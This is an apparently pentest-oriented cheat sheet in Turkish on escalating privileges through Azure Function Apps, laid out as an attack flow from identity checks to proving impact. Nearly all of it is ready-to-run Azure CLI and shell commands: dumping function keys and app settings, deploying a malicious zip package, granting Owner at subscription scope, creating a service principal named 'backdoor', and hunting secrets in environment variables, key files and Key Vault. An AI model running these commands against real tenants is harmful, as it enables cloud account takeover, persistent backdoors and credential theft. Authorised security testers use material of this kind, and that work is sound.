Az - Functions App Privesc
Azure privesc
Az - Functions App Privesc — Azure / Entra ortamında yetki yükseltme ve rol/identity zinciri notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.
Saldırı akışı
Section titled “Saldırı akışı”-
Mevcut principal izinlerini (inline/attached/bound) çıkar.
-
PassRole / setIamPolicy / impersonate / admin primitiflerini doğrula.
-
Yüksek yetkili role/identity’e geçiş PoC’si çalıştır.
-
Yeni kimlikle hesap/proje etkisini kanıtla.
Kimlik / oturum
Section titled “Kimlik / oturum”Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.
az account showaz ad signed-in-user showaz account get-access-token --query accessToken -o tsv | cut -c1-20Hedef komutlar
Section titled “Hedef komutlar”Az - Functions App Privesc için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.
az rest --method PUT --url 'https://management.azure.com/subscriptions/SUB/resourceGroups/RG/providers/Microsoft.Web/sites/APP/functions/fn?api-version=2022-03-01' --body @fn.jsoncurl -s https://APP.azurewebsites.net/api/fn?code=KEYaz functionapp list -o tableaz functionapp config appsettings list -g RG -n APPaz functionapp keys list -g RG -n APPaz functionapp deployment source config-zip -g RG -n APP --src evil.zipYükseltme primitifleri
Section titled “Yükseltme primitifleri”Yazma / PassRole / IAM policy / impersonation başarılıysa yeni kimlikle tekrar enum et.
az role assignment create --assignee OID --role Owner --scope /subscriptions/SUBaz ad sp create-for-rbac --name backdoor --role Contributor --scopes /subscriptions/SUBaz rest --method POST --url 'https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments' --body @ra.jsonSecret / credential avı
Section titled “Secret / credential avı”Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'printenv | sortfind / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40az keyvault secret list --vault-name VAULT -o tableRapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.
request/response veya CLI çıktısıhesap / proje / clusteretki: okuma | yazma | RCE | lateralzaman damgası + dosya hashmkdir -p evidence/cloud && tee evidence/cloud/notes.txt